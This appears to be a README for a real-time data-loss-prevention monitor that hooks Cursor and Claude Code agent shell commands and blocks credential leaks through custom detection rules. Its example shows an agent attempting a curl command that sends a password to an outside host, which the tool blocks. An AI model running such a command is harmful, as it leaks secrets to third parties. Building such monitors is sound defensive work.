Real-time DLP monitor for AI coding assistants (Cursor, Claude Code).
Built on pipelock — intercepts agent shell commands before execution, scans for credential leaks, and displays live alerts in an Electron UI.
- Intercepts Cursor agent commands via
beforeShellExecutionhooks - Scans every command through pipelock's DLP engine
- Custom rules: Aadhaar numbers, SSNs, passwords, API tokens
- Live activity feed shows BLOCKED/ALLOWED/WARNING in real time
Cursor tries to run: curl "https://test.com/?password=123"
pipelock intercepts → blocks → UI shows [CURSOR BLOCKED] instantly.
- Install pipelock
- Copy
hook-fire.ps1toC:\Users\<you>\.cursor\ - Copy
hooks.jsontoC:\Users\<you>\.cursor\ - Edit paths in
hook-fire.ps1to match your pipelock install location npm install && npm start
- Electron (single HTML file renderer)
- pipelock v0.1.4 (Go binary)
- PowerShell hook script
- JSON-based custom rule engine